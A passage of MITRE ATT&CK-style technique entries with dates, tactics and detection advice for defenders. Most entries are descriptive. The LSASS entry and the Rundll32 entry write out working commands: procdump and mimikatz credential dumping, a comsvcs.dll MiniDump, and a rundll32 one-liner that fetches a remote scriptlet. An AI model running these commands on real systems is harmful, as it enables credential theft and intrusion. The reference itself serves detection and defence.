Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32) Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)

23 January 2020

enterprise-attack

Defense Evasion

Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)

T1202

Indirect Command Execution

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.

18 April 2018

enterprise-attack

Defense Evasion

Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)

T1546.013

Event Triggered Execution: PowerShell Profile

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments. [PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)

24 January 2020

enterprise-attack

Persistence, Privilege Escalation

Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include: * <code>$PsHome\Profile.ps1</code> * <code>$PsHome\Microsoft.{HostProgram}_profile.ps1</code> * <code>$Home\\\[My ]Documents\PowerShell\Profile.ps1</code> * <code>$Home\\\[My ]Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1</code> Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.

T1546.005

Event Triggered Execution: Trap

Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)

24 January 2020

enterprise-attack

Persistence, Privilege Escalation

Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.

T1560.002

Archive Collected Data: Archive via Library

An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data. Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.

20 February 2020

enterprise-attack

Collection

Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used. Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)

T1137.001

Office Application Startup: Office Template Macros

Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template) Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) Word Normal.dotm location:<br> <code>C:\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Templates\Normal.dotm</code> Excel Personal.xlsb location:<br> <code>C:\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code> Adversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\Program Files (x86)\Microsoft Office\root\Office16\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

07 November 2019

enterprise-attack

Persistence

Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)

T1037.004

Boot or Logon Initialization Scripts: RC Scripts

Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify. Adversaries can establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence. Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware) Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)

15 January 2020

enterprise-attack

Persistence, Privilege Escalation

Monitor for unexpected changes to RC scripts in the <code>/etc/</code> directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior. Monitor for <code>/etc/rc.local</code> file creation. Although types of RC scripts vary for each Unix-like distribution, several execute <code>/etc/rc.local</code> if present.

T1003.001

OS Credential Dumping: LSASS Memory

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550). As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. For example, on the target host use procdump: * <code>procdump -ma lsass.exe lsass_dump</code> Locally, mimikatz can be run using: * <code>sekurlsa::Minidump lsassdump.dmp</code> * <code>sekurlsa::logonPasswords</code> Built-in Windows tools such as `comsvcs.dll` can also be used: * <code>rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector) Similar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012), the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS) Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014) The following SSPs can be used to access credentials: * Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package. * Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection) * Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. * CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)

11 February 2020

enterprise-attack

Credential Access

Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.

T1555.004

Credentials from Password Stores: Windows Credential Manager

Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker) The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker. Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\`. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault) Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as <code>CredEnumerateA</code>, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager) Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI. Password recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)

23 November 2020

enterprise-attack

Credential Access

Monitor process and command-line parameters of <code>vaultcmd.exe</code> for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., <code>vaultcmd /listcreds:“Windows Credentials”</code>).(Citation: Malwarebytes The Windows Vault) Consider monitoring API calls such as <code>CredEnumerateA</code> that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager) Consider monitoring file reads to Vault locations, <code>%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\</code>, for suspicious activity.(Citation: Malwarebytes The Windows Vault)

T1213.001

Data from Information Repositories: Confluence

Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials * Work / project schedules * Source code snippets * Links to network shares and other internal resources

14 February 2020

enterprise-attack

Collection

Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.

T1499.004

Endpoint Denial of Service: Application or System Exploitation

Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition. Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.

20 February 2020

enterprise-attack

Impact

Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.

T1218.011

System Binary Proxy Execution: Rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL) Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>). Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

23 January 2020

enterprise-attack

Defense Evasion

Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.

T1562.010

Impair Defenses: Downgrade Attack

Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system’s backward compatibility to force it into less secure modes of operation. Adversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging) Adversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade)

08 October 2021

enterprise-attack

Defense Evasion

Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: <code>powershell –v 2</code>). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment. Monitor for Windows event ID (EID) 400, specifically the <code>EngineVersion</code> field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks) Monitor network data to detect cases where HTTP is used instead of HTTPS.

T1656

Impersonation

Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657). Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal.   Impersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589) and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001)) to substantiate their false identity.(Citation: CrowdStrike-BEC) There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC)

08 August 2023

enterprise-attack

Defense Evasion

T1200

Hardware Additions

Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)

18 April 2018

enterprise-attack

Initial Access

Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.

T1555.002

Credentials from Password Stores: Securityd Memory

An adversary with root access may gather credentials by reading `securityd`’s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user’s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware) In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple’s `securityd` utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)

12 February 2020

enterprise-attack

Credential Access

Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.

T1104

Multi-Stage Channels

Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult. Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features. The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.

31 May 2017

enterprise-attack

Command and Control

Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.

T1036

Masquerading

Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)

31 May 2017

enterprise-attack

Defense Evasion

Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE”.

T1578.005

Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations

Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim’s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim. For example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim’s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy) Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation: Microsoft Peach Sandstorm 2023) This will allow the adversary to use the victim’s compute resources without generating logs on the victim tenant.(Citation: Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022)

05 September 2023

enterprise-attack

Defense Evasion

T1095

Non-Application Layer Protocol

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL). ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

31 May 2017

enterprise-attack

Command and Control

Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks) Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) Monitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.

T1037

Boot or Logon Initialization Scripts

Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.

31 May 2017

enterprise-attack

Persistence, Privilege Escalation

Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.

T1571

Non-Standard Port

Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data. Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)

14 March 2020

enterprise-attack

Command and Control

Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)

T1557.002

Adversary-in-the-Middle: ARP Cache Poisoning

